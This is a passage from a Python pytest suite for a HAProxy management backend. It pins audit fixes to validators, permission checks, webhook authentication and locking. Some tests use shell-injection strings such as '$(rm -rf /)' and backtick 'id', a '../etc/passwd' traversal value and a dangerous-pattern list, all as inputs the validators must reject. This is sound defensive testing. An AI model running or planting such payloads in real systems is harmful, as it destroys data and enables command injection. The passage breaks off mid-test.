a HAProxy directive."""
from models.frontend import FrontendConfig
from pydantic import ValidationError
with pytest.raises(ValidationError, match="dangerous"):
FrontendConfig(
name="fe1", bind_port=80, mode="http",
acl_rules=["is_evil path_beg $(rm -rf /)"],
)
with pytest.raises(ValidationError, match="dangerous"):
FrontendConfig(
name="fe1", bind_port=80, mode="http",
acl_rules=["is_evil path_beg `id`"],
)
def test_bulgu64_wizard_relaxation_marker_present():
"""Static-source pin so the wizard's `_DANGEROUS_RULE_PATTERNS`
tuple stays in its relaxed form."""
src = _backend_src("models/site_wizard.py")
assert "Bulgu #64 (round-22 audit)" in src
assert '_DANGEROUS_RULE_PATTERNS = ("$(", "`")' in src
def test_bulgu64_manual_frontend_relaxation_marker_present():
"""Same source pin for the manual FrontendConfig validators."""
src = _backend_src("models/frontend.py")
assert "Bulgu #64 (round-22 audit)" in src
# ---- Bulgu #65 — ALPN/NPN RFC 7301 compatible relaxation ----
def test_bulgu65_alpn_accepts_non_http_protocols():
"""RFC 7301 ALPN tokens are opaque — HAProxy passes them to
OpenSSL untouched. Pre-fix the whitelist rejected legitimate
non-HTTP protocols like `postgres`, `imap`, `acme-tls/1`,
locking out frontends that carried them on UPDATE."""
from models.frontend import FrontendConfig
for alpn in ("postgres", "imap", "smtp", "acme-tls/1", "h2,http/1.1"):
fe = FrontendConfig(
name="fe1", bind_port=443, mode="http", ssl_alpn=alpn,
)
assert fe.ssl_alpn == alpn
def test_bulgu65_alpn_typo_still_rejected_with_hint():
"""The 'http/2 → use h2' UX hint stays — that's a real
operator typo we want to catch on CREATE."""
from models.frontend import FrontendConfig
from pydantic import ValidationError
for typo in ("http/2", "http2", "http-2"):
with pytest.raises(ValidationError, match='For HTTP/2'):
FrontendConfig(
name="fe1", bind_port=443, mode="http", ssl_alpn=typo,
)
def test_bulgu65_alpn_malformed_token_rejected():
"""Tokens with embedded spaces / control chars / leading
punctuation still fail — the new validator only relaxed the
WHITELIST aspect, not the syntactic-cleanness aspect. Leading /
trailing whitespace inside a comma-separated entry gets
stripped (legacy behaviour) so we exercise mid-token spaces
here instead."""
from models.frontend import FrontendConfig
from pydantic import ValidationError
for bad in ("h 2", "../etc/passwd", "\0null", "?bad"):
with pytest.raises(ValidationError):
FrontendConfig(
name="fe1", bind_port=443, mode="http", ssl_alpn=bad,
)
def test_bulgu65_marker_present_in_source():
"""Pin the source comment so future refactors don't re-narrow
the whitelist."""
src = _backend_src("models/frontend.py")
assert "Bulgu #65 (round-22 audit)" in src
assert "RFC 7301" in src
# ---- Bulgu #62 — stale contradictions grandfathered on UPDATE ----
def test_bulgu62_strict_mode_rejects_new_contradiction():
"""POST / strict path — every contradiction blocks. Pins that
`_enforce_routing_rule_contradictions(grandfathered=None)`
still raises HTTPException(400)."""
from fastapi import HTTPException
from models.frontend import FrontendConfig
from routers.frontend import _enforce_routing_rule_contradictions
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
use_backend_rules=["be-x if acl1 !acl1"],
)
with pytest.raises(HTTPException) as exc:
_enforce_routing_rule_contradictions(fe, grandfathered_signatures=None)
assert exc.value.status_code == 400
assert "X AND NOT X" in exc.value.detail or "contradict" in exc.value.detail.lower() or "positive" in exc.value.detail.lower()
def test_bulgu62_update_path_grandfathers_unchanged_rule():
"""PUT / grandfathered path — when a contradictory rule exists
UNCHANGED in the DB row, the update returns warnings instead
of raising 400. The operator can edit unrelated fields without
being forced to rewrite legacy data first."""
from models.frontend import FrontendConfig
from routers.frontend import (
_enforce_routing_rule_contradictions,
_rule_to_signature,
)
stale = "be-x if acl1 !acl1"
fe = FrontendConfig(
name="fe1",
bind_port=81,
mode="http",
use_backend_rules=[stale],
)
grand = {_rule_to_signature(stale)}
warnings = _enforce_routing_rule_contradictions(
fe, grandfathered_signatures=grand,
)
assert len(warnings) == 1
# Bulgu #83 (round-23 audit) — the warning was reworded from
# "Grandfathered ... pre-dated this validation" to a clearer
# "rule was not modified by this edit" phrasing that also
# echoes the verbatim rule body. Accept either the legacy
# markers or the new ones so the contract is signal-not-
# wording.
w_lower = warnings[0].lower()
assert (
"not modified by this edit" in w_lower
or "grandfathered" in w_lower
or "pre-dated" in w_lower
), warnings[0]
# The verbatim rule must appear in the warning body so the
# operator can identify the offending entry without opening
# the ACL Builder cards.
assert stale in warnings[0], warnings[0]
def test_bulgu62_update_path_still_rejects_new_contradiction():
"""PUT path — if the user ADDS a new contradictory rule (or
modifies an existing one and inserts a contradiction), the
save still hard-rejects. Only UNCHANGED contradictions
grandfather."""
from fastapi import HTTPException
from models.frontend import FrontendConfig
from routers.frontend import (
_enforce_routing_rule_contradictions,
_rule_to_signature,
)
existing = "be-x if acl1 !acl1"
new = "be-y if acl2 !acl2"
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
use_backend_rules=[existing, new],
)
grand = {_rule_to_signature(existing)}
with pytest.raises(HTTPException) as exc:
_enforce_routing_rule_contradictions(
fe, grandfathered_signatures=grand,
)
assert exc.value.status_code == 400
assert "acl2" in exc.value.detail
def test_bulgu62_dict_redirect_rule_does_not_crash_validator():
"""The wizard's auto-generated HTTP→HTTPS redirect is stored
as a dict `{type, scheme, code, condition}`. Pre-fix the
`validate_redirect_rules_syntax` validator called `.strip()`
on every element and 422-ed dict-shaped entries the moment the
operator opened the FE Management UI to edit an unrelated
field. The validator must now accept dicts and let the
handler-level helper inspect `condition`."""
from models.frontend import FrontendConfig
fe = FrontendConfig(
name="fe-acme",
bind_port=80,
mode="http",
redirect_rules=[{
"type": "scheme",
"scheme": "https",
"code": 301,
"condition": (
"!{ ssl_fc } "
"!{ path_beg /.well-known/acme-challenge/ }"
),
}],
)
assert isinstance(fe.redirect_rules[0], dict)
assert fe.redirect_rules[0]["scheme"] == "https"
def test_bulgu62_dict_redirect_rule_condition_contradiction_detected():
"""The handler-level helper must inspect the dict's
`condition` field so a contradiction inside a dict-shaped
redirect entry is still caught at create time."""
from models.frontend import FrontendConfig
from routers.frontend import _collect_routing_rule_contradictions
fe = FrontendConfig(
name="fe-bad",
bind_port=80,
mode="http",
redirect_rules=[{
"type": "scheme",
"scheme": "https",
"code": 301,
"condition": "acl_bad !acl_bad",
}],
)
conflicts = _collect_routing_rule_contradictions(
fe.redirect_rules, "redirect_rules",
)
assert len(conflicts) == 1
assert conflicts[0][0] == "redirect_rules"
def test_bulgu62_marker_present_in_router_source():
"""Pin the inline marker so future refactors don't drop the
handler-level enforcement."""
src = _backend_src("routers/frontend.py")
assert "Bulgu #62 (round-22 audit)" in src
assert "_enforce_routing_rule_contradictions" in src
def test_bulgu62_marker_present_in_model_source():
"""Pin the model-side comment that documents the move."""
src = _backend_src("models/frontend.py")
assert "Bulgu #62 (round-22 audit)" in src
# ---- Bulgu #61 — backend balance_method='uri' + mode='tcp' reject ----
def test_bulgu61_tcp_backend_with_balance_uri_rejected():
"""`balance uri` is documented HTTP-only in HAProxy section 4.2;
rendering it inside a TCP backend block parses-errors at agent
reload."""
from models.site_wizard import BackendStep
with pytest.raises(ValidationError, match="HTTP-only field"):
BackendStep(name="be", mode="tcp", balance_method="uri")
def test_bulgu61_tcp_backend_with_roundrobin_accepted():
"""No regression: every other accepted balance method continues
to work on TCP backends."""
from models.site_wizard import BackendStep
for method in ("roundrobin", "leastconn", "static-rr", "first", "source", "random"):
be = BackendStep(name=f"be-{method}", mode="tcp", balance_method=method)
assert be.balance_method == method
def test_bulgu61_http_backend_with_balance_uri_accepted():
"""HTTP-mode backends carry `balance uri` correctly."""
from models.site_wizard import BackendStep
be = BackendStep(name="be", mode="http", balance_method="uri")
assert be.balance_method == "uri"
def test_bulgu61_marker_present_in_source():
"""Pin the inline marker so future refactors don't drop the
guard."""
src = _backend_src("models/site_wizard.py")
assert "Bulgu #61 (round-21 audit)" in src
# ---- Round 20 static-source markers ----
def test_round20_static_markers_present():
"""Pin all round-20 Bulgu markers so future refactors don't
silently drop the guards."""
src_models = _backend_src("models/site_wizard.py")
src_router = _backend_src("routers/site_wizard.py")
for marker in (
"Bulgu #58 (round-20 audit)",
"Bulgu #59 (round-20)",
):
assert marker in src_models, (
f"Round 20 marker missing from models/site_wizard.py: {marker}"
)
assert "Bulgu #60 (round-20 audit)" in src_router, (
"Round 20 marker missing from routers/site_wizard.py: #60"
)
# ---- Round 19 static-source markers ----
def test_round19_static_markers_present():
"""Pin all round-19 Bulgu markers so future refactors don't
silently drop the guards."""
src_models = _backend_src("models/site_wizard.py")
src_router = _backend_src("routers/site_wizard.py")
# Models: TCP-mode header reject (#56), TCP+HSTS reject (#57).
for marker in (
"Bulgu #56 (round-19 audit)",
"Bulgu #57 (round-19 audit)",
):
assert marker in src_models, (
f"Round 19 marker missing from models/site_wizard.py: {marker}"
)
# Router: cluster-advisory-lock + in-tx re-check (#54), no-online-
# agents preview warning (#55).
for marker in (
"Bulgu #54 (round-19 audit)",
"Bulgu #55 (round-19 audit)",
):
assert marker in src_router, (
f"Round 19 marker missing from routers/site_wizard.py: {marker}"
)
# ---- Bulgu #66 — align manual FrontendConfig numeric bounds with wizard ----
def test_bulgu66_maxconn_accepts_wizard_upper_bound():
"""Pre-fix the manual FrontendConfig capped `maxconn` at
100_000 while the wizard's `FrontendStep` allowed up to
1_000_000. A frontend created via the wizard with
`maxconn > 100_000` would therefore 422 on the very first
PUT from the FrontendManagement UI — exactly the
Bulgu #62 'stale data blocks unrelated edit' pattern. The
new bound matches the wizard byte-for-byte."""
from models.frontend import FrontendConfig
fe = FrontendConfig(
name="legacy_fe", bind_port=80, mode="http", maxconn=500_000,
)
assert fe.maxconn == 500_000
fe = FrontendConfig(
name="legacy_fe", bind_port=80, mode="http", maxconn=1_000_000,
)
assert fe.maxconn == 1_000_000
def test_bulgu66_maxconn_still_rejects_overflow():
"""The wizard's defensive 1M ceiling still applies — anything
larger is almost certainly a typo or DoS-shaped input."""
from models.frontend import FrontendConfig
from pydantic import ValidationError
with pytest.raises(ValidationError, match='1000000'):
FrontendConfig(
name="fe1", bind_port=80, mode="http", maxconn=1_000_001,
)
def test_bulgu66_rate_limit_accepts_zero_and_wizard_bound():
"""Pre-fix the manual model required `rate_limit >= 1` while
the wizard allowed `rate_limit = 0` (explicit 'disabled'
sentinel). A wizard-created frontend with the rate-limit
feature OFF would 422 on update."""
from models.frontend import FrontendConfig
for rl in (0, 1, 10_000, 1_000_000):
fe = FrontendConfig(
name="fe1", bind_port=80, mode="http", rate_limit=rl,
)
assert fe.rate_limit == rl
def test_bulgu66_rate_limit_still_rejects_overflow_and_negative():
"""Both ends of the range stay guarded — only the inner
band widens."""
from models.frontend import FrontendConfig
from pydantic import ValidationError
with pytest.raises(ValidationError):
FrontendConfig(
name="fe1", bind_port=80, mode="http", rate_limit=-1,
)
with pytest.raises(ValidationError):
FrontendConfig(
name="fe1", bind_port=80, mode="http", rate_limit=1_000_001,
)
def test_bulgu66_timeout_client_accepts_wizard_range():
"""Wizard accepts 100..86_400_000 ms; manual pre-fix required
1000..3_600_000. Mid-second `timeout_client=500` and 4h+
long-poll setups both 422'd on update. New range matches
HAProxy's int32 ms ceiling guarded by the wizard."""
from models.frontend import FrontendConfig
for tc in (100, 500, 3_600_000, 86_400_000):
fe = FrontendConfig(
name="fe1", bind_port=80, mode="http", timeout_client=tc,
)
assert fe.timeout_client == tc
def test_bulgu66_timeout_http_request_accepts_wizard_range():
"""Same alignment story — pre-fix the manual model capped
timeout_http_request at 5 minutes while the wizard allowed
up to 24h. Any legacy frontend tuned for slow webhook
integrations would 422 on unrelated edits."""
from models.frontend import FrontendConfig
for thr in (100, 5_000, 300_000, 86_400_000):
fe = FrontendConfig(
name="fe1", bind_port=80, mode="http", timeout_http_request=thr,
)
assert fe.timeout_http_request == thr
def test_bulgu66_timeout_bounds_still_guard_overflow():
"""Defensive ceilings still hold. `timeout_client=0` is a
HAProxy-special 'no timeout' value that the wizard
deliberately blocks (operator footgun) — we match."""
from models.frontend import FrontendConfig
from pydantic import ValidationError
with pytest.raises(ValidationError):
FrontendConfig(
name="fe1", bind_port=80, mode="http", timeout_client=0,
)
with pytest.raises(ValidationError):
FrontendConfig(
name="fe1", bind_port=80, mode="http", timeout_client=86_400_001,
)
with pytest.raises(ValidationError):
FrontendConfig(
name="fe1", bind_port=80, mode="http", timeout_http_request=0,
)
def test_bulgu66_marker_present_in_source():
"""Pin the source comment so a future audit doesn't silently
re-tighten one side of the bounds and reintroduce the
'wizard accepted / manual rejects' divergence."""
src = _backend_src("models/frontend.py")
assert "Bulgu #66 (round-22 audit)" in src
assert "align manual FrontendConfig" in src
# ---- Bulgu #68 — BackendConfig fullconn=0 accepted (wizard parity) ----
def test_bulgu68_backend_config_accepts_fullconn_zero():
"""Pre-fix the manual BackendConfig's `check_positive` validator
rejected `fullconn=0` (the HAProxy 'disable fullconn' sentinel)
even though the wizard's `BackendStep` declares
`fullconn: Field(default=None, ge=0, ...)` — i.e. allows
0. A wizard-created backend with `fullconn` left at the
default-then-zeroed value would 422 on every manual PUT,
blocking the operator from changing the balance method
or adding a server. Same Bulgu #62 'wizard accepted /
manual rejects' lockout pattern."""
from models.backend import BackendConfig, BackendConfigUpdate
cfg = BackendConfig(
name="be1", cluster_id=1, fullconn=0,
)
assert cfg.fullconn == 0
upd = BackendConfigUpdate(fullconn=0)
assert upd.fullconn == 0
def test_bulgu68_backend_config_still_rejects_negative_fullconn():
"""Negative `fullconn` makes no HAProxy sense and the
wizard's `ge=0` also rejects it. Pin parity here."""
from models.backend import BackendConfig, BackendConfigUpdate
from pydantic import ValidationError
with pytest.raises(ValidationError, match='fullconn'):
BackendConfig(name="be1", cluster_id=1, fullconn=-1)
with pytest.raises(ValidationError, match='fullconn'):
BackendConfigUpdate(fullconn=-100)
def test_bulgu68_timeouts_still_reject_zero():
"""The other four fields (`health_check_interval`,
`timeout_connect`, `timeout_server`, `timeout_queue`) keep
the strict `> 0` requirement — HAProxy's parser rejects
`timeout server 0` outright."""
from models.backend import BackendConfig
from pydantic import ValidationError
for fld in (
"health_check_interval", "timeout_connect",
"timeout_server", "timeout_queue",
):
with pytest.raises(ValidationError):
BackendConfig(name="be1", cluster_id=1, **{fld: 0})
def test_bulgu68_marker_present_in_source():
src = _backend_src("models/backend.py")
assert "Bulgu #68 (round-22 audit)" in src
# ---- Bulgu #69 — Frontend name length aligned with wizard (50 → 64) ----
def test_bulgu69_frontend_name_accepts_wizard_length():
"""Wizard's `_FRONTEND_NAME_REGEX = '^[a-zA-Z][a-zA-Z0-9_-]{0,63}$'`
allows up to 64 characters. Pre-fix the manual `FrontendConfig`
capped at 50, so a wizard-created frontend named e.g.
`tenant-acme-app-frontend-https-public-edge-01234567` (60+
chars) would 422 on every manual PUT. Same Bulgu #62 lockout
pattern."""
from models.frontend import FrontendConfig
name_60 = "a" + ("b" * 59)
assert len(name_60) == 60
fe = FrontendConfig(name=name_60, bind_port=80, mode="http")
assert fe.name == name_60
name_64 = "a" + ("b" * 63)
assert len(name_64) == 64
fe = FrontendConfig(name=name_64, bind_port=80, mode="http")
assert fe.name == name_64
def test_bulgu69_frontend_name_still_rejects_too_long():
"""Defensive ceiling stays at 64 — anything past that is a
typo or operator confusion (HAProxy itself has no hard cap
but the rendered config readability degrades fast)."""
from models.frontend import FrontendConfig
from pydantic import ValidationError
with pytest.raises(ValidationError, match='64 characters'):
FrontendConfig(name="a" * 65, bind_port=80, mode="http")
def test_bulgu69_marker_present_in_source():
src = _backend_src("models/frontend.py")
assert "Bulgu #69 (round-22 audit)" in src
# ---- Bulgu #71 — use_backend filter exact-token match on delete ----
def test_bulgu71_extract_use_backend_target_handles_both_shapes():
"""The FE rule builder strips the `use_backend` keyword on
round-trip, so the DB holds both shapes in the same JSONB
column. The parser must understand both."""
from routers.backend import _extract_use_backend_target
assert _extract_use_backend_target("api if is_api") == "api"
assert _extract_use_backend_target("use_backend api if is_api") == "api"
assert _extract_use_backend_target("use_backend api if is_api") == "api"
assert _extract_use_backend_target("Use_Backend api if X") == "api" # case-insensitive keyword
assert _extract_use_backend_target("") is None
assert _extract_use_backend_target(" ") is None
assert _extract_use_backend_target(None) is None
assert _extract_use_backend_target({"type": "scheme"}) is None
def test_bulgu71_delete_filter_does_not_match_substring_siblings():
"""Pre-fix `[r for r in rules if backend_name not in r]`
deleted sibling backends whose names contained the deleted
backend's name as a substring (api → api-v2, mobile_api,
apicall, …). Pin the exact-token behaviour."""
from routers.backend import _extract_use_backend_target
rules = [
"api if is_api",
"api-v2 if is_apiv2",
"mobile_api if is_mob",
"apicall if /^api/",
"use_backend api if is_api2",
]
deleted = "api"
surviving = [r for r in rules if _extract_use_backend_target(r) != deleted]
# The two "api" entries die, the three sibling backends live.
assert surviving == [
"api-v2 if is_apiv2",
"mobile_api if is_mob",
"apicall if /^api/",
]
def test_bulgu71_acl_rules_no_longer_touched_on_backend_delete():
"""The pre-fix code also filtered acl_rules with the same
naive `in` check, wiping reusable predicates like
`is_api hdr(host) -i api.example.com` whenever a backend
named 'api' was deleted. The new contract: acl_rules are
PRESERVED on backend delete (they're predicates, not
backend-coupled). Pin via static source check."""
src = _backend_src("routers/backend.py")
# The post-fix code preserves acl_rules verbatim. The pre-fix
# filter expression `[rule for rule in acl_rules if
# backend_name not in rule]` must NOT appear (the comment
# below the fix mentions the pattern in prose — match on the
# code form, not the prose form).
assert "for rule in acl_rules if backend_name not in rule" not in src
assert "filtered_acl = list(acl_rules)" in src
def test_bulgu71_marker_present_in_source():
src = _backend_src("routers/backend.py")
assert "Bulgu #71" in src
# ---- Bulgu #72 — backend rename cascades to use_backend_rules ----
def test_bulgu72_rename_use_backend_target():
"""Rename helper preserves the `use_backend ` prefix (or
absence thereof) byte-for-byte, only swaps the target name,
and only touches rules that target the OLD name."""
from routers.backend import _rename_use_backend_target
assert _rename_use_backend_target(
"api if is_api", "api", "api-v2"
) == "api-v2 if is_api"
assert _rename_use_backend_target(
"use_backend api if is_api", "api", "api-v2"
) == "use_backend api-v2 if is_api"
# Unrelated rule passes through untouched.
assert _rename_use_backend_target(
"other-backend if X", "api", "api-v2"
) == "other-backend if X"
# Substring sibling NOT renamed (the bug pre-fix could have
# done this if the helper was naive).
assert _rename_use_backend_target(
"api-v2 if X", "api", "renamed-api"
) == "api-v2 if X"
def test_bulgu72_marker_present_in_source():
src = _backend_src("routers/backend.py")
assert "Bulgu #72 (round-22 audit)" in src
assert "cascade the rename" in src or "cascade" in src.lower()
# ---- Bulgu #73 — backend_servers rename scoped to cluster_id ----
def test_bulgu73_servers_rename_uses_cluster_id_filter():
"""Pin the SQL scope so a future refactor doesn't drop the
cluster_id predicate again — the multi-tenant pollution
bug pre-fix renamed servers ACROSS clusters."""
src = _backend_src("routers/backend.py")
# The fixed SQL clearly scopes both the IS NULL legacy branch
# AND the explicit cluster_id branch.
assert "WHERE backend_name = $2 AND cluster_id = $3" in src
assert "WHERE backend_name = $2 AND cluster_id IS NULL" in src
assert "Bulgu #73 (round-22 audit)" in src
# ---- Bulgu #74 — SSL cert delete refuses to wipe in-use cert ----
def test_bulgu74_ssl_delete_signature_has_force_param():
"""The new delete handler MUST expose a `force: bool` kwarg —
that's the entire escape hatch for the 409 conflict path. A
refactor that drops it would silently re-enable the orphan-
reference bug. Source-level pin."""
src = _backend_src("routers/ssl.py")
assert "async def delete_ssl_certificate(" in src
assert "force: bool = False" in src
assert "Bulgu #74 (round-22 audit)" in src
def test_bulgu74_referential_check_covers_both_columns():
"""The legacy single-cert column AND the multi-cert JSONB
array MUST both be checked, otherwise the JSONB-cleared-but-
legacy-still-set path leaks. Pin the SQL fragments."""
src = _backend_src("routers/ssl.py")
# Both branches present in the pre-delete check.
assert "ssl_certificate_id = $1" in src
assert "ssl_certificate_ids @> to_jsonb($1::int)" in src
# JSONB array element removal MUST use the `- $1::text` form
# so the integer is identified by its string key, not by
# cardinal index.
assert "ssl_certificate_ids = COALESCE(ssl_certificate_ids, '[]'::jsonb)" in src
def test_bulgu74_conflict_returns_409_not_500():
"""The conflict response is 409 (Conflict), not 400 / 500 —
that's what FE / API clients branch on to surface the
'force?' confirmation dialog instead of a generic error."""
src = _backend_src("routers/ssl.py")
assert "status_code=409" in src
# ---- Bulgu #75 — agent webhook auth-bypass (no key == accepted) ----
def test_bulgu75_agent_webhooks_require_present_key():
"""Pre-fix every webhook (config-applied, config-validation-
failed, config-sync, upgrade-complete, config-response) used
the pattern:
if x_api_key and not agent_auth:
raise HTTPException(401, ...)
which short-circuited when `x_api_key` was empty/None,
accepting unauthenticated requests. Static pin: each
webhook function body must contain the FIXED form
`if not agent_auth` and NOT the broken form. We exclude
the heartbeat endpoint, which intentionally accepts
no-key during agent bootstrap registration (separate
threat-model justified by the agent self-registration
flow)."""
import re as _re
def _function_bodies(src: str):
"""Yield (fn_name, body_text) for every async def in src."""
positions = [
(m.group(1), m.start()) for m in
_re.finditer(r"async def (\w+)\(", src)
]
for i, (name, start) in enumerate(positions):
end = positions[i + 1][1] if i + 1 < len(positions) else len(src)
yield name, src[start:end]
agent_webhooks = {
"agent_config_applied_notification",
"agent_config_validation_failed",
"agent_config_sync",
"agent_upgrade_complete",
}
src_agent = _backend_src("routers/agent.py")
found = set()
for name, body in _function_bodies(src_agent):
if name in agent_webhooks:
found.add(name)
# The CODE — not the comment quoting the old pattern.
# Strip leading-hash comments per line, then check.
code_only = "\n".join(
line for line in body.split("\n")
if not line.strip().startswith("#")
)
assert "if x_api_key and not agent_auth:" not in code_only, (
f"Bulgu #75 regression in routers/agent.py::{name}: "
f"auth-bypass pattern still present in CODE"
)
assert "if not agent_auth:" in code_only, (
f"Bulgu #75: routers/agent.py::{name} missing the "
f"fixed `if not agent_auth` guard"
)
assert found == agent_webhooks, f"Missing webhooks: {agent_webhooks - found}"
# configuration.py — submit_config_response.
src_cfg = _backend_src("routers/configuration.py")
for name, body in _function_bodies(src_cfg):
if name == "submit_config_response":
code_only = "\n".join(
line for line in body.split("\n")
if not line.strip().startswith("#")
)
assert "if x_api_key and not agent_auth:" not in code_only
assert "if not agent_auth:" in code_only
break
else:
raise AssertionError("submit_config_response not found")
def test_bulgu75_agent_webhooks_have_bulgu_marker():
"""Source-level pin so a future refactor doesn't drop the
fix silently. The four webhooks in agent.py + the one in
configuration.py all carry the marker."""
src_agent = _backend_src("routers/agent.py")
src_cfg = _backend_src("routers/configuration.py")
# agent.py has FOUR webhooks (config-applied,
# config-validation-failed, config-sync, upgrade-complete).
assert src_agent.count("Bulgu #75 (round-22 audit)") >= 4
# configuration.py has ONE (config-response).
assert "Bulgu #75 (round-22 audit)" in src_cfg
# ---- Bulgu #76 — add_server_to_backend had NO authentication ----
def test_bulgu76_add_server_signature_requires_authorization():
"""The fix adds an `authorization: str = Header(None)` kwarg
and gates on `backends.update`. Pin both."""
src = _backend_src("routers/backend.py")
fn_start = src.find("async def add_server_to_backend(")
assert fn_start != -1
# Take a generous window after the def so the multi-line
# signature + the first part of the body are both inside.
window = src[fn_start:fn_start + 2500]
assert "authorization: str = Header(None)" in window
assert "check_user_permission" in window
assert '"backends"' in window and '"update"' in window
assert "Bulgu #76 (round-22 audit)" in window
# ---- Bulgu #77 — server CRUD endpoints missing permission gate ----
def test_bulgu77_server_crud_endpoints_check_permission():
"""`delete_server`, `update_server`, `toggle_server` all
pre-fix only called `get_current_user_from_token` and never
`check_user_permission` — any logged-in viewer could mutate
server state. Pin the new RBAC gate."""
src = _backend_src("routers/backend.py")
for fn_name in ("delete_server", "update_server", "toggle_server"):
# Find the function body window.
fn_start = src.find(f"async def {fn_name}(")
assert fn_start != -1, f"{fn_name} missing"
body = src[fn_start:fn_start + 1500]
assert "check_user_permission" in body, (
f"{fn_name} missing RBAC check"
)
assert '"backends"' in body and '"update"' in body, (
f"{fn_name} not gated on backends.update"
)
assert "Bulgu #77 (round-22 audit)" in src
# ---- Bulgu #78 — cleanup-expired & diff endpoint auth ----
def test_bulgu78_cleanup_expired_requires_admin():
src = _backend_src("routers/configuration.py")
# Cleanup signature must accept the authorization header.
assert "async def cleanup_expired_requests(authorization: str = Header(None))" in src
# Body must gate on is_admin (not just authn).
assert 'is_admin' in src
assert "Bulgu #78 (round-22 audit)" in src
def test_bulgu78_compare_configurations_requires_auth():
src = _backend_src("routers/config.py")
fn_start = src.find("async def compare_configurations(")
assert fn_start != -1
window = src[fn_start:fn_start + 2500]
assert "authorization: str = Header(None)" in window
assert "get_current_user_from_token" in window
assert "Bulgu #78 (round-22 audit)" in window
# ---- Bulgu #79 — multi-cluster isolation on apply / restore / WAF ----
def test_bulgu79_cluster_py_has_helper():
"""cluster.py pre-fix had NO calls to
validate_user_cluster_access — every cluster-scoped mutation
only checked permission ROLE, not pool/cluster scope. Pin
that the helper is now defined locally and used at least at
apply / delete / update / restore-confirm / undo-reject /
reject-all-pending sites."""
src = _backend_src("routers/cluster.py")
assert "async def validate_user_cluster_access(" in src
# The helper is now invoked at each of the six mutation
# sites; pin with a generous lower-bound count so a future
# refactor that hoists the helper into auth_middleware
# doesn't have to update this number.
assert src.count("validate_user_cluster_access(current_user") >= 6
assert "Bulgu #79 (round-22 audit)" in src
def test_bulgu79_backend_server_handlers_check_cluster():
"""The three server CRUD handlers (delete / update / toggle)
now ALSO validate cluster access, not just the
`backends.update` permission. Pin per-handler."""
src = _backend_src("routers/backend.py")
for fn_name in ("delete_server", "update_server", "toggle_server"):
fn_start = src.find(f"async def {fn_name}(")
assert fn_start != -1
# Window covers ~1500 chars after the def: enough for
# the prelude where the cluster check now lives.
window = src[fn_start:fn_start + 2500]
assert "validate_user_cluster_access(current_user" in window, (
f"{fn_name} missing cluster access validation"
)
def test_bulgu77_global_server_delete_alias_gates_on_backends_update():
"""BackendServers.js calls `DELETE /api/servers/{id}` which
routes to `routers/user.py::delete_server_global` — a
compatibility alias kept alongside the canonical
`routers/backend.py::delete_server`. The original Bulgu #77
fix only added the `backends.update` permission check to the
canonical handler, so the FE delete path was still missing
the per-action RBAC check. Pin that the alias now gates on
`backends.update` too."""
src = _backend_src("routers/user.py")
fn_start = src.find("async def delete_server_global(")
assert fn_start != -1, (
"Compatibility alias DELETE /api/servers/{id} removed?"
)
window = src[fn_start:fn_start + 2500]
assert 'check_user_permission(' in window, (
"delete_server_global must call check_user_permission"
)
assert '"backends", "update"' in window or "'backends', 'update'" in window, (
"delete_server_global must gate on backends.update"
)
def test_bulgu79_waf_handlers_check_cluster():
"""WAF rules carry an optional cluster_id; update_waf_rule
and toggle_waf_rule_status both validate access when
cluster_id is non-NULL."""
src = _backend_src("routers/waf.py")
for fn_name in ("update_waf_rule", "toggle_waf_rule_status"):
fn_start = src.find(f"async def {fn_name}(")
assert fn_start != -1
window = src[fn_start:fn_start + 4000]
assert "validate_user_cluster_access(current_user" in window, (
f"{fn_name} missing cluster access validation"
)
assert "Bulgu #79" in src
# ---- Bulgu #80 — apply_pending_changes concurrency lock ----
def test_bulgu80_apply_uses_advisory_lock():
"""Apply pre-fix had no concurrency control, so two
operators clicking Apply at the same instant double-shipped
consolidated config_versions. Pin the per-cluster advisory
lock + the post-lock re-fetch + the drained-early-return
sentinel.
Post-Bulgu-#80 risk-audit refinement: the original two-TX
split was collapsed into one locked TX with a module-level
``_ConcurrentlyDrained`` sentinel exception, eliminating the
gap-between-transactions race. Pin both the namespace
constant AND the sentinel mechanism so a future refactor
that reverts to the unprotected pipeline trips the test.
"""
src = _backend_src("routers/cluster.py")
# The new namespace constant — disjoint from the wizard's
# `18181818` and `18181819`.
assert "APPLY_LOCK_NS = 18181820" in src
# The lock is taken via pg_advisory_xact_lock inside a
# transaction (xact_lock semantics).
assert "SELECT pg_advisory_xact_lock($1, $2)" in src
# Sentinel-based drained-early-return — module-level class
# so the outer except clause can resolve it even when the
# function fails before reaching the body.
assert "class _ConcurrentlyDrained(Exception):" in src
assert "raise _ConcurrentlyDrained()" in src
assert "except _ConcurrentlyDrained:" in src
assert "Bulgu #80 (round-22 audit)" in src
# Pin the under-lock re-fetch — the entire point of the
# collapse was to read PENDING list AFTER acquiring the
# lock, not before.
assert "pending_versions_locked = await conn.fetch" in src
def test_bulgu80_lock_acquired_before_consolidated_insert():
"""The lock MUST be acquired before the consolidated
`INSERT INTO config_versions ... status='APPLIED'`. Pin via
source-order check: the lock namespace string appears before
the consolidated-insert literal in the file."""
src = _backend_src("routers/cluster.py")
lock_idx = src.find("APPLY_LOCK_NS = 18181820")
insert_idx = src.find("VALUES ($1, $2, $3, $4, $5, TRUE, 'APPLIED'")
assert lock_idx != -1 and insert_idx != -1
assert lock_idx < insert_idx, (
"Bulgu #80 regression: advisory lock must come BEFORE "
"the consolidated APPLIED insert"
)
def test_bulgu80_lock_namespace_disjoint_from_wizard_locks():
"""The wizard uses 18181818 (drafts) and 18181819 (create-
site). Apply must use a different namespace so the two lock
spaces don't collide and serialise unrelated operations."""
src_apply = _backend_src("routers/cluster.py")
src_wizard = _backend_src("routers/site_wizard.py")
assert "APPLY_LOCK_NS = 18181820" in src_apply
# The wizard's two namespaces appear in literal form.
assert "18181818" in src_wizard
assert "18181819" in src_wizard
# The apply lock namespace MUST NOT match either wizard
# namespace.
assert "18181820" not in src_wizard, (
"Apply lock namespace 18181820 must not collide with the "
"wizard's namespaces"
)
# ---- Bulgu #81 — AgentScriptRequest field validation against shell injection ----
def test_bulgu81_haproxy_bin_path_rejects_command_substitution():
"""A `$(rm -rf /)`-style payload in any path field MUST be
rejected at the Pydantic boundary, before it ever reaches
the template substitution."""
from models.agent import AgentScriptRequest
from pydantic import ValidationError
base = dict(
platform="linux", architecture="amd64", pool_id=1, cluster_id=1,
agent_name="agt-1", hostname_prefix="hp-1",
haproxy_bin_path="/usr/sbin/haproxy",
haproxy_config_path="/etc/haproxy/haproxy.cfg",
